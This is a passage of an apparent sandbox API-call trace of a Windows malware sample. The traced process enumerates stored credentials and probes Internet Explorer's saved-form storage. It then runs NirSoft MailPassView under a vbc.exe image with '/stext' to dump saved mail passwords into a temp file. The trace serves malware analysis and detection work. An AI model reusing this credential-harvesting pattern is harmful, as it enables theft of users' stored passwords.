phkResult=0x18f88c*=0xc0) returned 0x0 [0056.422] RegQueryValueExA (in: hKey=0xc0, lpValueName="svcVersion", lpReserved=0x0, lpType=0x18f884, lpData=0x18f890, lpcbData=0x18f888*=0x200 | out: lpType=0x18f884*=0x0, lpData=0x18f890*=0x48, lpcbData=0x18f888*=0x200) returned 0x2 [0056.423] RegQueryValueExA (in: hKey=0xc0, lpValueName="Version", lpReserved=0x0, lpType=0x18f884, lpData=0x18f890, lpcbData=0x18f888*=0x200 | out: lpType=0x18f884*=0x1, lpData="8.0.7601.17514", lpcbData=0x18f888*=0xf) returned 0x0 [0056.423] RegCloseKey (hKey=0xc0) returned 0x0 [0056.423] GetVersionExA (in: lpVersionInformation=0x18fa00*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x18fa00*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0056.423] CredEnumerateA (in: Filter=0x0, Flags=0x0, Count=0x18ea40, Credential=0x18ea44 | out: Count=0x18ea40, Credential=0x18ea44) returned 0 [0056.428] GetLastError () returned 0x490 [0056.429] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x1, phkResult=0x17dc48 | out: phkResult=0x17dc48*=0x0) returned 0x2 [0056.430] GetLastError () returned 0x490 [0056.430] SetLastError (dwErrCode=0x490) [0056.430] GetLastError () returned 0x490 [0056.430] SetLastError (dwErrCode=0x490) [0056.430] GetLastError () returned 0x490 [0056.430] SetLastError (dwErrCode=0x490) [0056.430] GetLastError () returned 0x490 [0056.430] SetLastError (dwErrCode=0x490) [0056.430] WriteFile (in: hFile=0x7c, lpBuffer=0x18df18*, nNumberOfBytesToWrite=0x185, lpNumberOfBytesWritten=0x18def8, lpOverlapped=0x0 | out: lpBuffer=0x18df18*, lpNumberOfBytesWritten=0x18def8*=0x185, lpOverlapped=0x0) returned 1 [0056.431] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c0e38 | out: hHeap=0x4a0000) returned 1 [0056.431] CloseHandle (hObject=0x7c) returned 1 [0056.433] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0056.433] SetConsoleTextAttribute (hConsoleOutput=0x7, wAttributes=0xf) returned 1 [0056.433] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bc648 | out: hHeap=0x4a0000) returned 1 [0056.433] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18fedc | out: phModule=0x18fedc) returned 0 [0056.434] ExitProcess (uExitCode=0x0) [0056.434] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bb3e8 | out: hHeap=0x4a0000) returned 1 Thread: id = 87 os_tid = 0x6bc Process: id = "5" image_name = "vbc.exe" filename = "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\vbc.exe" page_root = "0x17b56000" os_pid = "0x594" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0xb18" cmd_line = "C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe /stext C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\Mails.txt" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 88 os_tid = 0x4a4 [0058.067] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0058.067] __set_app_type (_Type=0x2) [0058.068] __p__fmode () returned 0x74eb31f4 [0058.068] __p__commode () returned 0x74eb31fc [0058.068] __getmainargs (in: _Argc=0x18ff5c, _Argv=0x18ff60, _Env=0x18ff64, _DoWildCard=0, _StartInfo=0x18ff68 | out: _Argc=0x18ff5c, _Argv=0x18ff60, _Env=0x18ff64) returned 0 [0058.068] _onexit (_Func=0x411a50) returned 0x411a50 [0058.068] _onexit (_Func=0x411a61) returned 0x411a61 [0058.068] _onexit (_Func=0x411a72) returned 0x411a72 [0058.068] _onexit (_Func=0x411ab3) returned 0x411ab3 [0058.068] GetStartupInfoA (in: lpStartupInfo=0x18ff10 | out: lpStartupInfo=0x18ff10*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0058.068] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0058.068] LoadLibraryA (lpLibFileName="comctl32.dll") returned 0x73530000 [0058.068] GetProcAddress (hModule=0x73530000, lpProcName="InitCommonControlsEx") returned 0x73536be6 [0058.069] InitCommonControlsEx (picce=0x18faf0) returned 1 [0058.072] FreeLibrary (hLibModule=0x73530000) returned 1 [0058.072] LoadLibraryA (lpLibFileName="shell32.dll") returned 0x75fd0000 [0058.072] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetSpecialFolderPathA") returned 0x7621fb26 [0058.072] ??2@YAPAXI@Z () returned 0x4a12b0 [0058.072] ??2@YAPAXI@Z () returned 0x4a2670 [0058.072] ??2@YAPAXI@Z () returned 0x4a12d0 [0058.072] ??2@YAPAXI@Z () returned 0x4a12f0 [0058.072] ??2@YAPAXI@Z () returned 0x4a1310 [0058.072] ??2@YAPAXI@Z () returned 0x4a1330 [0058.072] _mbscpy (in: param_1=0x4a2dbb, param_2=0x412fc4 | out: param_1=0x4a2dbb) returned 0x4a2dbb [0058.072] _mbscpy (in: param_1=0x4a2fff, param_2=0x412fc4 | out: param_1=0x4a2fff) returned 0x4a2fff [0058.072] _mbscpy (in: param_1=0x18f9c4, param_2=0x413490 | out: param_1=0x18f9c4) returned 0x18f9c4 [0058.073] CreateFontIndirectA (lplf=0x18f9a8) returned 0x590a0248 [0058.074] strncat (in: _Dest="", _Source="Nøú\x18", _Count=0x1 | out: _Dest="N") returned="N" [0058.074] strncat (in: _Dest="N", _Source="iøú\x18", _Count=0x1 | out: _Dest="Ni") returned="Ni" [0058.074] strncat (in: _Dest="Ni", _Source="røú\x18", _Count=0x1 | out: _Dest="Nir") returned="Nir" [0058.074] strncat (in: _Dest="Nir", _Source="Søú\x18", _Count=0x1 | out: _Dest="NirS") returned="NirS" [0058.074] strncat (in: _Dest="NirS", _Source="oøú\x18", _Count=0x1 | out: _Dest="NirSo") returned="NirSo" [0058.074] strncat (in: _Dest="NirSo", _Source="føú\x18", _Count=0x1 | out: _Dest="NirSof") returned="NirSof" [0058.074] strncat (in: _Dest="NirSof", _Source="tøú\x18", _Count=0x1 | out: _Dest="NirSoft") returned="NirSoft" [0058.074] strncat (in: _Dest="NirSoft", _Source=" øú\x18", _Count=0x1 | out: _Dest="NirSoft ") returned="NirSoft " [0058.074] strncat (in: _Dest="NirSoft ", _Source="Føú\x18", _Count=0x1 | out: _Dest="NirSoft F") returned="NirSoft F" [0058.074] strncat (in: _Dest="NirSoft F", _Source="røú\x18", _Count=0x1 | out: _Dest="NirSoft Fr") returned="NirSoft Fr" [0058.074] strncat (in: _Dest="NirSoft Fr", _Source="eøú\x18", _Count=0x1 | out: _Dest="NirSoft Fre") returned="NirSoft Fre" [0058.074] strncat (in: _Dest="NirSoft Fre", _Source="eøú\x18", _Count=0x1 | out: _Dest="NirSoft Free") returned="NirSoft Free" [0058.074] strncat (in: _Dest="NirSoft Free", _Source="wøú\x18", _Count=0x1 | out: _Dest="NirSoft Freew") returned="NirSoft Freew" [0058.074] strncat (in: _Dest="NirSoft Freew", _Source="aøú\x18", _Count=0x1 | out: _Dest="NirSoft Freewa") returned="NirSoft Freewa" [0058.074] strncat (in: _Dest="NirSoft Freewa", _Source="røú\x18", _Count=0x1 | out: _Dest="NirSoft Freewar") returned="NirSoft Freewar" [0058.074] strncat (in: _Dest="NirSoft Freewar", _Source="eøú\x18", _Count=0x1 | out: _Dest="NirSoft Freeware") returned="NirSoft Freeware" [0058.074] strncat (in: _Dest="NirSoft Freeware", _Source=".øú\x18", _Count=0x1 | out: _Dest="NirSoft Freeware.") returned="NirSoft Freeware." [0058.074] strncat (in: _Dest="NirSoft Freeware.", _Source=" øú\x18", _Count=0x1 | out: _Dest="NirSoft Freeware. ") returned="NirSoft Freeware. " [0058.074] strncat (in: _Dest="NirSoft Freeware. ", _Source=" øú\x18", _Count=0x1 | out: _Dest="NirSoft Freeware. ") returned="NirSoft Freeware. " [0058.074] strncat (in: _Dest="NirSoft Freeware. ", _Source="høú\x18", _Count=0x1 | out: _Dest="NirSoft Freeware. h") returned="NirSoft Freeware. h" [0058.074] strncat (in: _Dest="NirSoft Freeware. h", _Source="tøú\x18", _Count=0x1 | out: _Dest="NirSoft Freeware. ht") returned="NirSoft Freeware. ht" [0058.074] strncat (in: _Dest="NirSoft Freeware. ht", _Source="tøú\x18", _Count=0x1 | out: _Dest="NirSoft Freeware. htt") returned="NirSoft Freeware. htt" [0058.074] strncat (in: _Dest="NirSoft Freeware. htt", _Source="pøú\x18", _Count=0x1 | out: _Dest="NirSoft Freeware. http") returned="NirSoft Freeware. http" [0058.074] strncat (in: _Dest="NirSoft Freeware. http", _Source=":øú\x18", _Count=0x1 | out: _Dest="NirSoft Freeware. http:") returned="NirSoft Freeware. http:" [0058.074] strncat (in: _Dest="NirSoft Freeware. http:", _Source="/øú\x18", _Count=0x1 | out: _Dest="NirSoft Freeware. http:/") returned="NirSoft Freeware. http:/" [0058.074] strncat (in: _Dest="NirSoft Freeware. http:/", _Source="/øú\x18", _Count=0x1 | out: _Dest="NirSoft Freeware. http://") returned="NirSoft Freeware. http://" [0058.074] strncat (in: _Dest="NirSoft Freeware. http://", _Source="wøú\x18", _Count=0x1 | out: _Dest="NirSoft Freeware. http://w") returned="NirSoft Freeware. http://w" [0058.074] strncat (in: _Dest="NirSoft Freeware. http://w", _Source="wøú\x18", _Count=0x1 | out: _Dest="NirSoft Freeware. http://ww") returned="NirSoft Freeware. http://ww" [0058.075] strncat (in: _Dest="NirSoft Freeware. http://ww", _Source="wøú\x18", _Count=0x1 | out: _Dest="NirSoft Freeware. http://www") returned="NirSoft Freeware. http://www" [0058.075] strncat (in: _Dest="NirSoft Freeware. http://www", _Source=".øú\x18", _Count=0x1 | out: _Dest="NirSoft Freeware. http://www.") returned="NirSoft Freeware. http://www." [0058.075] strncat (in: _Dest="NirSoft Freeware. http://www.", _Source="nøú\x18", _Count=0x1 | out: _Dest="NirSoft Freeware. http://www.n") returned="NirSoft Freeware. http://www.n" [0058.075] strncat (in: _Dest="NirSoft Freeware. http://www.n", _Source="iøú\x18", _Count=0x1 | out: _Dest="NirSoft Freeware. http://www.ni") returned="NirSoft Freeware. http://www.ni" [0058.075] strncat (in: _Dest="NirSoft Freeware. http://www.ni", _Source="røú\x18", _Count=0x1 | out: _Dest="NirSoft Freeware. http://www.nir") returned="NirSoft Freeware. http://www.nir" [0058.075] strncat (in: _Dest="NirSoft Freeware. http://www.nir", _Source="søú\x18", _Count=0x1 | out: _Dest="NirSoft Freeware. http://www.nirs") returned="NirSoft Freeware. http://www.nirs" [0058.075] strncat (in: _Dest="NirSoft Freeware. http://www.nirs", _Source="oøú\x18", _Count=0x1 | out: _Dest="NirSoft Freeware. http://www.nirso") returned="NirSoft Freeware. http://www.nirso" [0058.075] strncat (in: _Dest="NirSoft Freeware. http://www.nirso", _Source="føú\x18", _Count=0x1 | out: _Dest="NirSoft Freeware. http://www.nirsof") returned="NirSoft Freeware. http://www.nirsof" [0058.075] strncat (in: _Dest="NirSoft Freeware. http://www.nirsof", _Source="tøú\x18", _Count=0x1 | out: _Dest="NirSoft Freeware. http://www.nirsoft") returned="NirSoft Freeware. http://www.nirsoft" [0058.075] strncat (in: _Dest="NirSoft Freeware. http://www.nirsoft", _Source=".øú\x18", _Count=0x1 | out: _Dest="NirSoft Freeware. http://www.nirsoft.") returned="NirSoft Freeware. http://www.nirsoft." [0058.075] strncat (in: _Dest="NirSoft Freeware. http://www.nirsoft.", _Source="nøú\x18", _Count=0x1 | out: _Dest="NirSoft Freeware. http://www.nirsoft.n") returned="NirSoft Freeware. http://www.nirsoft.n" [0058.075] strncat (in: _Dest="NirSoft Freeware. http://www.nirsoft.n", _Source="eøú\x18", _Count=0x1 | out: _Dest="NirSoft Freeware. http://www.nirsoft.ne") returned="NirSoft Freeware. http://www.nirsoft.ne" [0058.075] strncat (in: _Dest="NirSoft Freeware. http://www.nirsoft.ne", _Source="tøú\x18", _Count=0x1 | out: _Dest="NirSoft Freeware. http://www.nirsoft.net") returned="NirSoft Freeware. http://www.nirsoft.net" [0058.075] LoadIconA (hInstance=0x400000, lpIconName=0x65) returned 0xf00c3 [0058.077] strncat (in: _Dest="", _Source="Møú\x18", _Count=0x1 | out: _Dest="M") returned="M" [0058.077] strncat (in: _Dest="M", _Source="aøú\x18", _Count=0x1 | out: _Dest="Ma") returned="Ma" [0058.077] strncat (in: _Dest="Ma", _Source="iøú\x18", _Count=0x1 | out: _Dest="Mai") returned="Mai" [0058.077] strncat (in: _Dest="Mai", _Source="løú\x18", _Count=0x1 | out: _Dest="Mail") returned="Mail" [0058.077] strncat (in: _Dest="Mail", _Source="Pøú\x18", _Count=0x1 | out: _Dest="MailP") returned="MailP" [0058.077] strncat (in: _Dest="MailP", _Source="aøú\x18", _Count=0x1 | out: _Dest="MailPa") returned="MailPa" [0058.077] strncat (in: _Dest="MailPa", _Source="søú\x18", _Count=0x1 | out: _Dest="MailPas") returned="MailPas" [0058.077] strncat (in: _Dest="MailPas", _Source="søú\x18", _Count=0x1 | out: _Dest="MailPass") returned="MailPass" [0058.077] strncat (in: _Dest="MailPass", _Source="Vøú\x18", _Count=0x1 | out: _Dest="MailPassV") returned="MailPassV" [0058.077] strncat (in: _Dest="MailPassV", _Source="iøú\x18", _Count=0x1 | out: _Dest="MailPassVi") returned="MailPassVi" [0058.077] strncat (in: _Dest="MailPassVi", _Source="eøú\x18", _Count=0x1 | out: _Dest="MailPassVie") returned="MailPassVie" [0058.077] strncat (in: _Dest="MailPassVie", _Source="wøú\x18", _Count=0x1 | out: _Dest="MailPassView") returned="MailPassView" [0058.077] _mbscpy (in: param_1=0x18fb64, param_2=0x18f9f4 | out: param_1=0x18fb64) returned 0x18fb64 [0058.077] free (_Block=0x0) [0058.077] free (_Block=0x0) [0058.077] malloc (_Size=0x80) returned 0x4a1350 [0058.077] malloc (_Size=0x100) returned 0x4a35b0 [0058.077] strlen (_Str="/stext") returned 0x6 [0058.077] malloc (_Size=0x400) returned 0x4a36b8 [0058.077] malloc (_Size=0x400) returned 0x4a3ac0 [0058.077] strlen (_Str="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\Mails.txt") returned 0x2e [0058.077] free (_Block=0x4a35b0) [0058.077] _strcmpi (_Str1="/savelangfile", _Str2="/stext") returned -1 [0058.077] _strcmpi (_Str1="/savelangfile", _Str2="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\Mails.txt") returned -1 [0058.077] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x18f9f0, nSize=0x104 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\vbc.exe")) returned 0x35 [0058.077] _mbscat (in: param_1=0x18f9f0, param_2=0x4131e8 | out: param_1=0x18f9f0) returned 0x18f9f0 [0058.078] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\vbc_lng.ini" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\vbc_lng.ini")) returned 0xffffffff [0058.079] _strcmpi (_Str1="/deleteregkey", _Str2="/stext") returned -1 [0058.079] _strcmpi (_Str1="/deleteregkey", _Str2="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\Mails.txt") returned -1 [0058.079] EnumResourceTypesA (hModule=0x400000, lpEnumFunc=0x40ee96, lParam=0x0) returned 1 [0058.079] EnumResourceNamesA (hModule=0x400000, lpType=0x1, lpEnumFunc=0x40ee10, lParam=0x0) returned 1 [0058.079] FindResourceA (hModule=0x400000, lpName=0x1, lpType=0x1) returned 0x4184d8 [0058.079] SizeofResource (hModule=0x400000, hResInfo=0x4184d8) returned 0x134 [0058.079] LoadResource (hModule=0x400000, hResInfo=0x4184d8) returned 0x4186b8 [0058.079] LockResource (hResData=0x4186b8) returned 0x4186b8 [0058.079] EnumResourceNamesA (hModule=0x400000, lpType=0x2, lpEnumFunc=0x40ee10, lParam=0x0) returned 1 [0058.079] FindResourceA (hModule=0x400000, lpName=0x68, lpType=0x2) returned 0x4184e8 [0058.079] SizeofResource (hModule=0x400000, hResInfo=0x4184e8) returned 0x3e8 [0058.079] LoadResource (hModule=0x400000, hResInfo=0x4184e8) returned 0x4187ec [0058.079] LockResource (hResData=0x4187ec) returned 0x4187ec [0058.079] FindResourceA (hModule=0x400000, lpName=0x85, lpType=0x2) returned 0x4184f8 [0058.079] SizeofResource (hModule=0x400000, hResInfo=0x4184f8) returned 0xd8 [0058.079] LoadResource (hModule=0x400000, hResInfo=0x4184f8) returned 0x418bd4 [0058.079] LockResource (hResData=0x418bd4) returned 0x418bd4 [0058.079] FindResourceA (hModule=0x400000, lpName=0x86, lpType=0x2) returned 0x418508 [0058.079] SizeofResource (hModule=0x400000, hResInfo=0x418508) returned 0xd8 [0058.079] LoadResource (hModule=0x400000, hResInfo=0x418508) returned 0x418cac [0058.079] LockResource (hResData=0x418cac) returned 0x418cac [0058.080] EnumResourceNamesA (hModule=0x400000, lpType=0x3, lpEnumFunc=0x40ee10, lParam=0x0) returned 1 [0058.080] FindResourceA (hModule=0x400000, lpName=0x2, lpType=0x3) returned 0x418518 [0058.080] SizeofResource (hModule=0x400000, hResInfo=0x418518) returned 0x2e8 [0058.080] LoadResource (hModule=0x400000, hResInfo=0x418518) returned 0x418d84 [0058.080] LockResource (hResData=0x418d84) returned 0x418d84 [0058.080] FindResourceA (hModule=0x400000, lpName=0x3, lpType=0x3) returned 0x418528 [0058.080] SizeofResource (hModule=0x400000, hResInfo=0x418528) returned 0x128 [0058.080] LoadResource (hModule=0x400000, hResInfo=0x418528) returned 0x41906c [0058.080] LockResource (hResData=0x41906c) returned 0x41906c [0058.080] FindResourceA (hModule=0x400000, lpName=0x4, lpType=0x3) returned 0x418538 [0058.080] SizeofResource (hModule=0x400000, hResInfo=0x418538) returned 0x128 [0058.080] LoadResource (hModule=0x400000, hResInfo=0x418538) returned 0x419194 [0058.080] LockResource (hResData=0x419194) returned 0x419194 [0058.080] EnumResourceNamesA (hModule=0x400000, lpType=0x4, lpEnumFunc=0x40ee10, lParam=0x0) returned 1 [0058.080] FindResourceA (hModule=0x400000, lpName=0x66, lpType=0x4) returned 0x418548 [0058.080] SizeofResource (hModule=0x400000, hResInfo=0x418548) returned 0x38c [0058.080] LoadResource (hModule=0x400000, hResInfo=0x418548) returned 0x4192bc [0058.080] LockResource (hResData=0x4192bc) returned 0x4192bc [0058.080] FindResourceA (hModule=0x400000, lpName=0x68, lpType=0x4) returned 0x418558 [0058.080] SizeofResource (hModule=0x400000, hResInfo=0x418558) returned 0x1f2 [0058.080] LoadResource (hModule=0x400000, hResInfo=0x418558) returned 0x419648 [0058.080] LockResource (hResData=0x419648) returned 0x419648 [0058.080] EnumResourceNamesA (hModule=0x400000, lpType=0x5, lpEnumFunc=0x40ee10, lParam=0x0) returned 1 [0058.080] FindResourceA (hModule=0x400000, lpName=0x69, lpType=0x5) returned 0x418568 [0058.080] SizeofResource (hModule=0x400000, hResInfo=0x418568) returned 0xa2 [0058.080] LoadResource (hModule=0x400000, hResInfo=0x418568) returned 0x41983c [0058.080] LockResource (hResData=0x41983c) returned 0x41983c [0058.080] FindResourceA (hModule=0x400000, lpName=0x6b, lpType=0x5) returned 0x418578 [0058.080] SizeofResource (hModule=0x400000, hResInfo=0x418578) returned 0x296 [0058.080] LoadResource (hModule=0x400000, hResInfo=0x418578) returned 0x4198e0 [0058.080] LockResource (hResData=0x4198e0) returned 0x4198e0 [0058.081] FindResourceA (hModule=0x400000, lpName=0x6c, lpType=0x5) returned 0x418588 [0058.081] SizeofResource (hModule=0x400000, hResInfo=0x418588) returned 0x364 [0058.081] LoadResource (hModule=0x400000, hResInfo=0x418588) returned 0x419b78 [0058.081] LockResource (hResData=0x419b78) returned 0x419b78 [0058.081] FindResourceA (hModule=0x400000, lpName=0x70, lpType=0x5) returned 0x418598 [0058.081] SizeofResource (hModule=0x400000, hResInfo=0x418598) returned 0xfa [0058.081] LoadResource (hModule=0x400000, hResInfo=0x418598) returned 0x419edc [0058.081] LockResource (hResData=0x419edc) returned 0x419edc [0058.081] FindResourceA (hModule=0x400000, lpName=0x448, lpType=0x5) returned 0x4185a8 [0058.081] SizeofResource (hModule=0x400000, hResInfo=0x4185a8) returned 0x336 [0058.081] LoadResource (hModule=0x400000, hResInfo=0x4185a8) returned 0x419fd8 [0058.081] LockResource (hResData=0x419fd8) returned 0x419fd8 [0058.081] EnumResourceNamesA (hModule=0x400000, lpType=0x6, lpEnumFunc=0x40ee10, lParam=0x0) returned 1 [0058.081] FindResourceA (hModule=0x400000, lpName=0x1, lpType=0x6) returned 0x4185b8 [0058.081] SizeofResource (hModule=0x400000, hResInfo=0x4185b8) returned 0x1f2 [0058.081] LoadResource (hModule=0x400000, hResInfo=0x4185b8) returned 0x41a310 [0058.081] LockResource (hResData=0x41a310) returned 0x41a310 [0058.081] FindResourceA (hModule=0x400000, lpName=0x2, lpType=0x6) returned 0x4185c8 [0058.081] SizeofResource (hModule=0x400000, hResInfo=0x4185c8) returned 0x24 [0058.081] LoadResource (hModule=0x400000, hResInfo=0x4185c8) returned 0x41a504 [0058.081] LockResource (hResData=0x41a504) returned 0x41a504 [0058.081] FindResourceA (hModule=0x400000, lpName=0x20, lpType=0x6) returned 0x4185d8 [0058.081] SizeofResource (hModule=0x400000, hResInfo=0x4185d8) returned 0x13a [0058.081] LoadResource (hModule=0x400000, hResInfo=0x4185d8) returned 0x41a528 [0058.081] LockResource (hResData=0x41a528) returned 0x41a528 [0058.081] FindResourceA (hModule=0x400000, lpName=0x21, lpType=0x6) returned 0x4185e8 [0058.081] SizeofResource (hModule=0x400000, hResInfo=0x4185e8) returned 0x3e [0058.081] LoadResource (hModule=0x400000, hResInfo=0x4185e8) returned 0x41a664 [0058.081] LockResource (hResData=0x41a664) returned 0x41a664 [0058.081] FindResourceA (hModule=0x400000, lpName=0x33, lpType=0x6) returned 0x4185f8 [0058.081] SizeofResource (hModule=0x400000, hResInfo=0x4185f8) returned 0x48 [0058.081] LoadResource (hModule=0x400000, hResInfo=0x4185f8) returned 0x41a6a4 [0058.081] LockResource (hResData=0x41a6a4) returned 0x41a6a4 [0058.081] FindResourceA (hModule=0x400000, lpName=0x39, lpType=0x6) returned 0x418608 [0058.082] SizeofResource (hModule=0x400000, hResInfo=0x418608) returned 0x134 [0058.082] LoadResource (hModule=0x400000, hResInfo=0x418608) returned 0x41a6ec [0058.082] LockResource (hResData=0x41a6ec) returned 0x41a6ec [0058.082] FindResourceA (hModule=0x400000, lpName=0x3a, lpType=0x6) returned 0x418618 [0058.082] SizeofResource (hModule=0x400000, hResInfo=0x418618) returned 0xa6 [0058.082] LoadResource (hModule=0x400000, hResInfo=0x418618) returned 0x41a820 [0058.082] LockResource (hResData=0x41a820) returned 0x41a820 [0058.082] FindResourceA (hModule=0x400000, lpName=0x3f, lpType=0x6) returned 0x418628 [0058.082] SizeofResource (hModule=0x400000, hResInfo=0x418628) returned 0x74 [0058.082] LoadResource (hModule=0x400000, hResInfo=0x418628) returned 0x41a8c8 [0058.082] LockResource (hResData=0x41a8c8) returned 0x41a8c8 [0058.082] FindResourceA (hModule=0x400000, lpName=0x40, lpType=0x6) returned 0x418638 [0058.082] SizeofResource (hModule=0x400000, hResInfo=0x418638) returned 0xaa [0058.082] LoadResource (hModule=0x400000, hResInfo=0x418638) returned 0x41a93c [0058.082] LockResource (hResData=0x41a93c) returned 0x41a93c [0058.082] FindResourceA (hModule=0x400000, lpName=0x52, lpType=0x6) returned 0x418648 [0058.082] SizeofResource (hModule=0x400000, hResInfo=0x418648) returned 0x68 [0058.082] LoadResource (hModule=0x400000, hResInfo=0x418648) returned 0x41a9e8 [0058.082] LockResource (hResData=0x41a9e8) returned 0x41a9e8 [0058.082] EnumResourceNamesA (hModule=0x400000, lpType=0x9, lpEnumFunc=0x40ee10, lParam=0x0) returned 1 [0058.082] FindResourceA (hModule=0x400000, lpName=0x67, lpType=0x9) returned 0x418658 [0058.082] SizeofResource (hModule=0x400000, hResInfo=0x418658) returned 0x50 [0058.082] LoadResource (hModule=0x400000, hResInfo=0x418658) returned 0x41aa50 [0058.082] LockResource (hResData=0x41aa50) returned 0x41aa50 [0058.082] EnumResourceNamesA (hModule=0x400000, lpType=0xc, lpEnumFunc=0x40ee10, lParam=0x0) returned 1 [0058.082] FindResourceA (hModule=0x400000, lpName=0x67, lpType=0xc) returned 0x418668 [0058.082] SizeofResource (hModule=0x400000, hResInfo=0x418668) returned 0x14 [0058.082] LoadResource (hModule=0x400000, hResInfo=0x418668) returned 0x41aaa0 [0058.082] LockResource (hResData=0x41aaa0) returned 0x41aaa0 [0058.082] EnumResourceNamesA (hModule=0x400000, lpType=0xe, lpEnumFunc=0x40ee10, lParam=0x0) returned 1 [0058.082] FindResourceA (hModule=0x400000, lpName=0x65, lpType=0xe) returned 0x418678 [0058.082] SizeofResource (hModule=0x400000, hResInfo=0x418678) returned 0x22 [0058.082] LoadResource (hModule=0x400000, hResInfo=0x418678) returned 0x41aab4 [0058.082] LockResource (hResData=0x41aab4) returned 0x41aab4 [0058.083] FindResourceA (hModule=0x400000, lpName=0x66, lpType=0xe) returned 0x418688 [0058.083] SizeofResource (hModule=0x400000, hResInfo=0x418688) returned 0x14 [0058.083] LoadResource (hModule=0x400000, hResInfo=0x418688) returned 0x41aad8 [0058.083] LockResource (hResData=0x41aad8) returned 0x41aad8 [0058.083] EnumResourceNamesA (hModule=0x400000, lpType=0x10, lpEnumFunc=0x40ee10, lParam=0x0) returned 1 [0058.083] FindResourceA (hModule=0x400000, lpName=0x1, lpType=0x10) returned 0x418698 [0058.083] SizeofResource (hModule=0x400000, hResInfo=0x418698) returned 0x26c [0058.083] LoadResource (hModule=0x400000, hResInfo=0x418698) returned 0x41aaec [0058.083] LockResource (hResData=0x41aaec) returned 0x41aaec [0058.083] EnumResourceNamesA (hModule=0x400000, lpType=0x18, lpEnumFunc=0x40ee10, lParam=0x0) returned 1 [0058.083] FindResourceA (hModule=0x400000, lpName=0x1, lpType=0x18) returned 0x4186a8 [0058.083] SizeofResource (hModule=0x400000, hResInfo=0x4186a8) returned 0x16a [0058.083] LoadResource (hModule=0x400000, hResInfo=0x4186a8) returned 0x41ad58 [0058.083] LockResource (hResData=0x41ad58) returned 0x41ad58 [0058.083] ??2@YAPAXI@Z () returned 0x4a3ec8 [0058.083] ??2@YAPAXI@Z () returned 0x4a35b0 [0058.083] ??2@YAPAXI@Z () returned 0x4a3fd8 [0058.083] ??2@YAPAXI@Z () returned 0x4abfe0 [0058.083] ??2@YAPAXI@Z () returned 0x4ac3e8 [0058.083] ??2@YAPAXI@Z () returned 0x4ac7f0 [0058.084] LoadStringA (in: hInstance=0x400000, uID=0x3e9, lpBuffer=0x4ac7f0, cchBufferMax=4095 | out: lpBuffer="Name") returned 0x4 [0058.084] LoadStringA (in: hInstance=0x400000, uID=0x3e9, lpBuffer=0x4ac7f0, cchBufferMax=4095 | out: lpBuffer="Name") returned 0x4 [0058.084] LoadStringA (in: hInstance=0x400000, uID=0x3ea, lpBuffer=0x4ac7f0, cchBufferMax=4095 | out: lpBuffer="Application") returned 0xb [0058.084] LoadStringA (in: hInstance=0x400000, uID=0x3ea, lpBuffer=0x4ac7f0, cchBufferMax=4095 | out: lpBuffer="Application") returned 0xb [0058.084] LoadStringA (in: hInstance=0x400000, uID=0x3eb, lpBuffer=0x4ac7f0, cchBufferMax=4095 | out: lpBuffer="Email") returned 0x5 [0058.084] LoadStringA (in: hInstance=0x400000, uID=0x3eb, lpBuffer=0x4ac7f0, cchBufferMax=4095 | out: lpBuffer="Email") returned 0x5 [0058.084] LoadStringA (in: hInstance=0x400000, uID=0x3ec, lpBuffer=0x4ac7f0, cchBufferMax=4095 | out: lpBuffer="Server") returned 0x6 [0058.084] LoadStringA (in: hInstance=0x400000, uID=0x3ec, lpBuffer=0x4ac7f0, cchBufferMax=4095 | out: lpBuffer="Server") returned 0x6 [0058.084] LoadStringA (in: hInstance=0x400000, uID=0x3f1, lpBuffer=0x4ac7f0, cchBufferMax=4095 | out: lpBuffer="Server Port") returned 0xb 